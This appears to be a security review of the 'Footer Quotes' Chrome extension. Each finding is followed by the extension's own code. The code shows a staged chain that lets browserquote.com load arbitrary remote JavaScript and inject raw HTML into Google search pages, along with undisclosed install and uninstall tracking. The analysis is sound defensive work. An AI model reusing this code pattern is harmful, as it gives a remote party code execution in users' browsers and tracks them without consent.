Footer Quotes

Injects a <script> tag whose src is an arbitrary URL read from localStorage['quid']. The URL ultimately originates from an external message sent by browserquote.com (see bg.js onMessageExternal -> content-script.js), so the extension owner (or anyone who compromises that domain) can load and execute arbitrary JavaScript on every Google search domain in the content-script's origin. This is classic remote code loading and violates Chrome Web Store policy MV3.

let quid = localStorage.getItem("quid");localStorage.removeItem("quid");if (quid) {  let el = document.createElement('script');  el.src = quid;  document.getElementsByTagName("html")[0].appendChild(el);}

The service worker accepts messages from browserquote.com and stores whatever arbitrary value is provided in request.id under chrome.storage.local['quotes']. That value is later used by content-script.js as (a) a script URL piped into quotes.js and (b) raw innerHTML appended to Google pages. This gives the first-party website full remote-control of code/HTML execution inside the extension context.

chrome.runtime.onMessageExternal.addListener(  function(request, sender, sendResponse) {    if (sender.origin === 'https://browserquote.com' && request.id) {      chrome.storage.local.set({        'quotes': request.id      });    }  });

The content script (run_at document_start, all_frames, on every Google TLD worldwide) forwards the attacker-controlled 'quotes' value into page-context localStorage as 'quid', then injects quotes.js into the page so that the page-context script can read 'quid' and load the remote URL as a script. This staged hand-off is a deliberate CSP/isolated-world bypass pattern for remote code execution.

chrome.storage.local.get(["quotes"], function(a) {  if (a['quotes']) {    localStorage.setItem("quid", a['quotes']);  }  let p = document.createElement('script');  p.src = chrome.runtime.getURL('quotes.js');  document.getElementsByTagName('html')[0].appendChild(p);});

Assigns attacker-controlled storage content directly to innerHTML and appends it to every Google search page, enabling stored HTML injection (and, with event-handler attributes or <iframe srcdoc>, arbitrary script execution in the page's origin). The 'quotes' value comes from externally_connectable messages sent by browserquote.com.

chrome.storage.sync.get(['quotes'], function(data) {  if (data && data['quotes']) {    const el = document.createElement('div');    el.innerHTML = data['quotes'];    document.getElementsByTagName("html")[0].appendChild(el);  }});

Beacons install, update, and uninstall events (with extension id, version, reason, and install timestamp) to browserquote.com via URL parameters and a registered chrome.runtime.setUninstallURL. This is telemetry/tracking of individual users that is not disclosed in the extension's stated functionality (footer quotes).

function trackInstall(details) {  let now = Date.now() / 1000;  let version = chrome.runtime.getManifest()    .version;  let url = 'https://browserquote.com/installed.php?t=url&extid=' + encodeURIComponent(chrome.runtime.id) +    '&iid=0013' +    '&version=' + encodeURIComponent(version) +    '&reason=' + encodeURIComponent(details.reason);  if (details.reason === "install") {    chrome.storage.sync.set({      'installed_at': now    }, function() {});    chrome.tabs.create({      url: url    });    chrome.runtime.setUninstallURL('https://browserquote.com/uninstalled.php?extid=' + chrome.runtime.id);  } else if (details.reason === "update") {    chrome.storage.sync.get(['installed_at'], function(data) {      chrome.tabs.create({        url: url + '&installed_at=' + data['installed_at']      });    });  }}